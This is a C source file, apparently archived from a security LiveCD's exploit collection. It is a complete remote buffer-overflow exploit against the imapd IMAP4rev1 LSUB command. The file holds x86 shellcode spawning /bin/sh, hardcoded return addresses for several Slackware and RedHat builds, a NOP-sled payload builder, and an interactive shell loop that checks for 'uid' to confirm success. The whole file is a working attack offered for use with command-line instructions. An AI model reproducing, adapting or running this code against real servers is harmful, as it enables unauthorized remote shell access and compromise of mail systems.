home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / lsub.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  240 lines

  1. /* 
  2.  *            !!! Private !!!
  3.  *
  4.  *  imapd IMAP4rev1 v12.261, v12.264 and 2000.284 Remote Exploit. Others? Yes!
  5.  *
  6.  *  By: SkyLaZarT ( fcerqueira@bufferoverflow.org ) .aka. Felipe Cerqueira
  7.  *  Homepage: www.BufferOverflow.Org
  8.  *  Thankz: cync, oldm and Jans. ( BufferOverflow.org Team )
  9.  *        Antonio Marcelo and Felipe Saraiva
  10.  *
  11.  */
  12.  
  13.  
  14. #include <stdio.h>
  15. #include <string.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <errno.h>
  19. #include <signal.h>
  20.  
  21. #include <sys/socket.h>
  22. #include <sys/types.h>
  23. #include <netdb.h>
  24. #include <netinet/in.h>
  25.  
  26. #define SIZE        1064
  27. #define NOP        0x90
  28. #define RET12261    0xbffff3ec
  29. #define RET12264    0xbffff4e0
  30. #define RET12264ZOOT    0xbffff697
  31. #define RET2000_284    0xbfffebc8
  32.  
  33. #define INIT(x)    bzero(x, sizeof(x))
  34. #define READ(sock,x) read(sock, x, sizeof(x)) 
  35.  
  36.  
  37. #define TIMEOUT        20
  38.  
  39. char shellcode[] =
  40.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  41.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  42.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  43.  
  44. int debug = 0;
  45.  
  46.  
  47. void openshell(int sock, int check);
  48. void processSignal(int signum);
  49.  
  50. void processSignal(int signum) {
  51.     fprintf(stderr, "Time out!!\n");
  52.     exit(-1);
  53. }
  54.  
  55.  
  56. void openshell(int sock, int check) {
  57.     char buffer[1024];
  58.     fd_set rset;
  59.     int i;
  60.     
  61.     while(1) {
  62.         FD_ZERO(&rset);
  63.         FD_SET(sock, &rset);
  64.         FD_SET(fileno(stdin), &rset);
  65.  
  66.         select(sock + 1, &rset, NULL, NULL, NULL);
  67.  
  68.         if (FD_ISSET(sock, &rset)) {
  69.             if ((i = read(sock, buffer, sizeof(buffer))) <= 0) {
  70.                 fprintf(stderr, "Connection terminated!\n");
  71.                 close(sock);
  72.                 exit(-1);
  73.             } else {
  74.                 buffer[i] = 0x00;
  75.                 if(check) {
  76.                     if (!(strstr(buffer, "uid"))) {
  77.                         fprintf(stderr, "Exploit failed\n");
  78.                         exit(-1);
  79.                     } else {
  80.                         fprintf(stderr, "Exploit Success!!\n");
  81.                         check = 0;
  82.                     } 
  83.                 }
  84.  
  85.                 puts(buffer);
  86.             }
  87.         }
  88.  
  89.         if (FD_ISSET(fileno(stdin), &rset)) {
  90.             if ( check ) write(sock, "id\n", 3);
  91.                 
  92.             if ((i = read(fileno(stdin), buffer, 
  93.                     sizeof(buffer))) > 0) {
  94.                 buffer[i] = 0x00;
  95.                 write(sock, buffer, i);
  96.             }
  97.         }
  98.     }
  99. }
  100.                 
  101.                 
  102. int main(int argc, char **argv) {
  103.     char buffer[SIZE], sockbuffer[2048];
  104.     char *login, *password;
  105.     long retaddr; 
  106.     struct sockaddr_in sin;
  107.     struct hostent *hePtr;
  108.     int sock, i;    
  109.  
  110.     fprintf(stderr, "\nRemote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284\n"
  111.         "Developed by SkyLaZarT - www.BufferOverflow.org\n\n");
  112.  
  113.     if ( argc < 5 ) {
  114.         fprintf(stderr, "%s <host> <login> <password> <type> [offset]\n", argv[0]);
  115.         fprintf(stderr, "\ttype: [0]\tSlackware 7.0 with IMAP4rev1 v12.261\n"
  116.                 "\ttype: [1]\tSlackware 7.1 with IMAP4rev1 v12.264\n"
  117.                 "\ttype: [2]\tRedHat 6.2 ZooT with IMAP4rev1 v12.264\n"
  118.                 "\ttype: [3]\tSlackware 7.0 with IMAP4rev1 2000.284\n\n");
  119.  
  120.  
  121.         exit(-1);
  122.     }
  123.  
  124.     login = argv[2];
  125.     password = argv[3];
  126.  
  127.     switch(atoi(argv[4])) {
  128.         case 0: retaddr = RET12261; break;
  129.         case 1: retaddr = RET12264; break;
  130.         case 2: retaddr = RET12264ZOOT; break;
  131.         case 3: retaddr = RET2000_284; break;
  132.         default: 
  133.             fprintf(stderr, "invalid type.. assuming default " 
  134.                 "type 0\n");
  135.             retaddr = RET12261; break;
  136.             
  137.     }
  138.  
  139.     if ( argc == 6 ) 
  140.         retaddr += atoi(argv[5]);
  141.  
  142.     signal(SIGALRM, processSignal);    
  143.  
  144.     fprintf(stderr, "Trying to exploit %s...\n", argv[1]);
  145.  
  146.     fprintf(stderr, "Using return address 0x%08lx. Shellcode size: %i bytes\n\n", retaddr, strlen(shellcode));
  147.  
  148.  
  149.     alarm(TIMEOUT);
  150.     hePtr = gethostbyname(argv[1]);
  151.     if (!hePtr) {
  152.         fprintf(stderr, "Unknow hostname : %s\n", strerror(errno));
  153.         exit(-1);
  154.     }
  155.     alarm(0);
  156.  
  157.     sock = socket(AF_INET, SOCK_STREAM, 0);
  158.     if ( sock < 0 ) {
  159.         perror("socket()");
  160.         exit(-1);
  161.     }
  162.  
  163.     sin.sin_family = AF_INET;
  164.     sin.sin_port = htons(143);
  165.     memcpy(&sin.sin_addr, hePtr->h_addr, hePtr->h_length);
  166.     bzero(&(sin.sin_zero), 8);
  167.  
  168.     fprintf(stderr, "Connecting... "); 
  169.     alarm(TIMEOUT);
  170.     if ( connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
  171.         fprintf(stderr, "failed to %s:143\n", argv[1]);
  172.         exit(-1);
  173.     }
  174.     alarm(0);    
  175.     
  176.     fprintf(stderr, "OK\n");
  177.  
  178.     
  179.         for ( i = 0; i <= SIZE; i += 4 )
  180.                 *(long *)&buffer[i] = retaddr;
  181.  
  182.         for ( i = 0; i < ( SIZE - strlen(shellcode) - 100); i++ )
  183.                 *(buffer+i) = NOP;
  184.  
  185.         memcpy(buffer + i, shellcode, strlen(shellcode));
  186.  
  187.     INIT(sockbuffer);
  188.     READ(sock, sockbuffer);
  189.  
  190.     if(debug) fprintf(stderr, "debug %s", sockbuffer);    
  191.  
  192.     fprintf(stderr, "Trying to loging ... ");
  193.  
  194.     sprintf(sockbuffer, "1 LOGIN %s %s\n", login, password);
  195.     write(sock, sockbuffer, strlen(sockbuffer));
  196.     
  197.     INIT(sockbuffer);
  198.     READ(sock, sockbuffer);
  199.  
  200.     if(debug) fprintf(stderr, "debug %s", sockbuffer);
  201.     
  202.     if (!(strstr(sockbuffer, "OK LOGIN completed"))) {
  203.         fprintf(stderr, "Login failed!!\n");
  204.         close(sock);
  205.         exit(-1);
  206.     }
  207.  
  208.     fprintf(stderr, "OK\n");
  209.     
  210.     INIT(sockbuffer);
  211.     sprintf(sockbuffer, "1 LSUB \"\" {1064}\r\n");
  212.     write(sock, sockbuffer, strlen(sockbuffer));
  213.  
  214.         INIT(sockbuffer);
  215.         READ(sock, sockbuffer);
  216.  
  217.     if(debug) fprintf(stderr, "debug %s", sockbuffer);
  218.     
  219.     if(!(strstr(sockbuffer, "Ready"))) {
  220.         fprintf(stderr, "LSUB command failed\n");
  221.         close(sock);
  222.         exit(-1);
  223.     }    
  224.  
  225.     fprintf(stderr, "Sending shellcode... ");    
  226.     
  227.     write(sock, buffer, 1064);
  228.     write(sock, "\r\n", 2);
  229.  
  230.     fprintf(stderr, "OK\n");
  231.     
  232.     fprintf(stderr, "PRESS ENTER for exploit status!!\n\n");    
  233.  
  234.     openshell(sock, 1);    
  235.                             
  236.     close(sock);
  237.  
  238.     return 0;
  239. }
  240. /*                   www.hack.co.za  [3 March 2001]*/